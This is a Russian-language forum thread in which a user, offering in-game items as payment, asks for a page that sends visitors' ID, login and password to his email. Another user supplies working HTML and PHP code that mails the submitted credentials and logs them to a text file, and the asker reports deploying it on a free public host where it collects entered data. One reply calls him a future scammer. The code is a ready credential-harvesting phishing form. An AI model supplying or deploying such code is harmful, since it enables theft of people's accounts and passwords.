555 0 Опубликовано: 13 февраля 2018 Рассказать Опубликовано: 13 февраля 2018 Всем привет, написал пока сайт только html страницу, с помощью php теперь нужно, чтобы когда в поля прописал данные, и нажал на кнопку "Отправить" , на почту приходили эти данные?Например, человек зашёл на сайт, заполнил данные, и нажал кнопку, и мне должно придти на почту, ID, Логин, Пароль. С помощью php это можно реализовать? Если да, подскажите, могу дать вещи с галы, голды, и тд. Мне нужно, я учусь просто на программиста сам дома. Ссылка на сообщение Поделиться на других сайтах
rdbakland 0 Опубликовано: 14 февраля 2018 Рассказать Опубликовано: 14 февраля 2018 <form method="POST" action="#"> <input name="id">/* твои ид */ <input name="login">/* твои логин */ <input name="password">/* твои пароль */ <input type="submit" name="send-form">/* твои кнопка отправки */ </form> <?php if(isset($_POST['send-form'])){ /* твои субмит то обрабатываем форма */ $to = 'твой @yandex.ru'; /* твои мыло */ $subject = 'Login form'; /* тема письма */ $message = $_POST['id'].' '.$_POST['login'].' '.$_POST['password']; /* твои текст письма */ $headers = 'From: [email protected]' . "\r\n" . 'Reply-To: [email protected]' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); /* твои заголовки пых пых */ mail($to, $subject, $message, $headers); /* отправка письма -- твой хоcтер должен поддерживать это */ $log=''; /* запись формы в текстовик */ if(file_exists('log.txt')){ $log = file_get_contents('log.txt'); } $log = $log. "\n" .$message; file_put_contents('log.txt',$log); } Ссылка на сообщение Поделиться на других сайтах
☜☢Legend☢☞ 0 Опубликовано: 14 февраля 2018 Рассказать Опубликовано: 14 февраля 2018 Будущий "мошенник" Ссылка на сообщение Поделиться на других сайтах
PODLEC 0 Опубликовано: 14 февраля 2018 Рассказать Опубликовано: 14 февраля 2018 [glow=red]Fc Barcelona[/glow] Ссылка на сообщение Поделиться на других сайтах
555 0 Опубликовано: 15 февраля 2018 Автор Рассказать Опубликовано: 15 февраля 2018 22871 что смешного? Отправлено спустя 32 секунды:22868 <form method="POST" action="#"> <input name="id">/* твои ид */ <input name="login">/* твои логин */ <input name="password">/* твои пароль */ <input type="submit" name="send-form">/* твои кнопка отправки */ </form> <?php if(isset($_POST['send-form'])){ /* твои субмит то обрабатываем форма */ $to = 'твой @yandex.ru'; /* твои мыло */ $subject = 'Login form'; /* тема письма */ $message = $_POST['id'].' '.$_POST['login'].' '.$_POST['password']; /* твои текст письма */ $headers = 'From: [email protected]' . "\r\n" . 'Reply-To: [email protected]' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); /* твои заголовки пых пых */ mail($to, $subject, $message, $headers); /* отправка письма -- твой хоcтер должен поддерживать это */ $log=''; /* запись формы в текстовик */ if(file_exists('log.txt')){ $log = file_get_contents('log.txt'); } $log = $log. "\n" .$message; file_put_contents('log.txt',$log); } php код можно к html подкрепить? Отправлено спустя 6 минут 5 секунд:22869 Будущий "мошенник"НЕТ, ПРОСТО МНЕ НУЖЕН ПРИМЕР, ДЛЯ ОТПРАВКИ НА ПОЧТУ, КОТОРЫЕ ВВЁЛ ПОЛЬЗОВАТЕЛЬ, Я ХОЧУ СДЕЛАТЬ СВОЮ ПРОФЕССИЮ ПРОГРАММИСТОМ. УЧУСЬ ПОЭТОМУ. Ссылка на сообщение Поделиться на других сайтах
rdbakland 0 Опубликовано: 15 февраля 2018 Рассказать Опубликовано: 15 февраля 2018 (изменено) 22873 что смешного? Отправлено спустя 32 секунды: php код можно к html подкрепить? Отправлено спустя 6 минут 5 секунд: НЕТ, ПРОСТО МНЕ НУЖЕН ПРИМЕР, ДЛЯ ОТПРАВКИ НА ПОЧТУ, КОТОРЫЕ ВВЁЛ ПОЛЬЗОВАТЕЛЬ, Я ХОЧУ СДЕЛАТЬ СВОЮ ПРОФЕССИЮ ПРОГРАММИСТОМ. УЧУСЬ ПОЭТОМУ.Нет!Расширение *php должно бытьесли *php то в html Подкрепляется так <? echo 'bla';?> Изменено 15 февраля 2018 пользователем Гость Ссылка на сообщение Поделиться на других сайтах
nefest 0 Опубликовано: 15 февраля 2018 Рассказать Опубликовано: 15 февраля 2018 22874 Нет!Расширение *php должно бытьВсмысле? Ссылка на сообщение Поделиться на других сайтах
money31012018 0 Опубликовано: 15 февраля 2018 Рассказать Опубликовано: 15 февраля 2018 пиши в лс за огонь напишу Ссылка на сообщение Поделиться на других сайтах
rdbakland 0 Опубликовано: 15 февраля 2018 Рассказать Опубликовано: 15 февраля 2018 22877 Всмысле? php код будет работать только если файл формата *php или если твой файл *html обрабатывает сам php Ссылка на сообщение Поделиться на других сайтах
555 0 Опубликовано: 15 февраля 2018 Автор Рассказать Опубликовано: 15 февраля 2018 22874 /* твои ид */ /* твои логин */ /* твои пароль */ /* твои кнопка отправки */<?phpif(isset($_POST['send-form'])){ /* твои субмит то обрабатываем форма */ $to = 'твой @yandex.ru'; /* твои мыло */ $subject = 'Login form'; /* тема письма */ $message = $_POST['id'].' '.$_POST['login'].' '.$_POST['password']; /* твои текст письма */ $headers = 'From: [email protected]' . "\r\n" . 'Reply-To: [email protected]' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); /* твои заголовки пых пых */ mail($to, $subject, $message, $headers); /* отправка письма -- твой хоcтер должен поддерживать это */ $log=''; /* запись формы в текстовик */ if(file_exists('log.txt')){ $log = file_get_contents('log.txt'); } $log = $log. "\n" .$message; file_put_contents('log.txt',$log); }Вот ошибка :/ Warning: mail(): Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\Server\data\htdocs\php\test.php on line 18 Отправлено спустя 7 минут 43 секунды:22881 Вот ошибка :/ Warning: mail(): Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\Server\data\htdocs\php\test.php on line 18создается текстовик, там идет данные которые вводились, на почту не приходит , из-за того, что с локального сервера запускаю? Надо на хосстинг залить и норм будет да? Отправлено спустя 46 минут 59 секунд:Посоветуйте, есть ли бесплатный хостинг с поддержкой - mail($to, $subject, $message, $headers) ?Мне для теста нужно, будет ли работать, позднее куплю какой-нибудь, щас бы мне хоть на 1 час проверить , будет ли сайт работать Отправлено спустя 8 минут 51 секунду:вот сделал сайт, modehisude.000webhostapp.com , на почту мне не приходит ничего, но на хостинге там создаётся файл Log.txt и туда данные приходят, а вот как с мылом быть хз) Ссылка на сообщение Поделиться на других сайтах
Рекомендованные сообщения
Пожалуйста, войдите для комментирования
Вы сможете оставить комментарий после входа
Войти сейчас